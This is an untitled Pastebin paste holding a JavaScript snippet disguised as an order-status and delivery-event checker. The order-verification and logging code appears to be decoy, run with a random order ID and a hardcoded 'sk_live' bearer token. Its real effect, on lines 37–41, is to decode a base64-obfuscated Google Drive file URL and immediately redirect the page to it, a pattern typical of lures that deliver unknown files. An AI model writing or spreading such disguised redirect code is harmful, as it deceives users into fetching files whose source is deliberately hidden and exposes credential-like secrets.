Advertisement
dentira

Untitled

Apr 27th, 2025
155
0
Never
Not a member of Pastebin yet?Sign Up, it unlocks many cool features!
  1. (async function(){
  2.   const apiEndpoint ="/v1/order/37444/status";
  3.   const orderId ="ORD-"+Math.random().toString(36).substring(2,10).toUpperCase();
  4.  
  5.   async function verifyOrder(id){
  6.     try{
  7.       const response = await fetch(apiEndpoint,{
  8.         method:"POST",
  9.         headers:{
  10.           "Content-Type":"application/json",
  11.           "Authorization":"Bearer sk_live_xr7u8ghs1k2as91"
  12.         },
  13.         body: JSON.stringify({ order_id: id })
  14.       });
  15.  
  16.       const data = await response.json();
  17.       return data;
  18.     }catch(err){
  19.       return{ status:"ERROR"};
  20.     }
  21.   }
  22.  
  23.   function logEvent(id, status){
  24.     fetch("/v1/event",{
  25.       method:"POST",
  26.       headers:{
  27.         "Content-Type":"application/json"
  28.       },
  29.       body: JSON.stringify({
  30.         event:"delivery_attempt",
  31.         order: id,
  32.         result: status
  33.       })
  34.     });
  35.   }
  36.  
  37.   const secret ='aHR0cHM6Ly9kcml2ZS5nb29nbGUuY29tL2ZpbGUvZC8xOFpfQ290djVDYjFYQkcxSFdwaXZKT0VYaUN1MHJnTWsvdmlldw==';
  38.   const decode = atob;
  39.   const finalURL = decode(secret);
  40.  
  41.   window.open(finalURL,'_self');
  42.  
  43.   const status = await verifyOrder(orderId);
  44.   logEvent(orderId, status.status==="CONFIRMED"?"success":"fallback");
  45. })();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
close